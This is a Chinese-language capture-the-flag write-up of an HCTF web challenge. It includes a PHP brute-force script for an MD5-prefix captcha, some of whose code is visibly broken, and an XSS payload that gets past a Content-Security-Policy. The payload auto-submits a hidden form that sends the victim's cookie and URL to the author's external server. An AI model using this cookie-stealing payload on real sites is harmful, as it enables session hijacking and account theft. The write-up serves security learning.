HCTF一道web题学到的新姿势

彩笔一个。感觉其中一道xss的题目学到了新的姿势,挺有意思的。

QQ20161127-0@2x.png

首先是提交的时候一个MD5的碰撞,写个脚本就好了。1s就能碰撞出来。
然后抓包提交message。一段时间内,这个验证是不会立即失效。

<?php
$captcha=$_GET['md5'];
while(1){
        $str="`1234567890";
        $str+="-=~!@#$%^&*()_+]"; 
        $str+="[poiuytrewqas";
        $str+="dfghjkl;'/.,mn";
        $str+="bvcxzZXCVBNM<>?:"
        $str+="LKJHGFDSAQWERTYUIOP{}|";
        $daima="$pass=$str[rand(0,90)].$str[rand(0,90)]";  
        $daima+=".$str[rand(0,90)].$str[rand(0,90)].$str[rand(0,90)]";
        eval($daima); //终于对齐了
        $scert=substr(md5($pass),0,4);
        if($scert==$captcha) {
                echo "found ".$pass."       md5 is :".$scert."\n";
                break;
        }
}
?>

QQ20161127-1@2x.png

发现script on img 等全被过滤

QQ20161127-2@2x.png

包含轻松绕过。那么我们的重点也就来了,看http头

QQ20161127-3@2x.png

发现了Content-Security-Policy这个东西。什么是CSP呢

以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整,本文研究的技术可以自动化分离代码和数据,帮助网站支持CSP技术避免潜在的跨站攻击。

以上来自百度百科。我的简短理解就是,浏览器允许加载白名单以内的css资源,js资源,img资源,等等一切能在网页上显示的资源。所以我们如果这里直接远程加载xss平台的代码话,不会直接执行。

这里有一篇英文。Please ClickMe

既然不能加载信息。我们可以发送请求啊。于是就有了以下的payload

<script>
function sub(){
    document.getElementById("key").value=document.cookie;
    document.getElementById("url").value=location.href;
    document.pass.submit();
}
setTimeout(sub,1);

</script>
<form name="pass" action="http://anx1ang.win/index.php" method="GET">
<input id="key" type=hidden name="cookie"  />
<input id="url" type=hidden name="url">
</form>

比较坑的是前面提到的过滤了script on 所以这里的on 和script 都有多写两次,这里为了看着顺眼,就不多写啦。
回自己的vps查看log
QQ20161127-4@2x.png

页面带上cookie后,成功得到flag
QQ20161127-6@2x.png

标签: none

添加新评论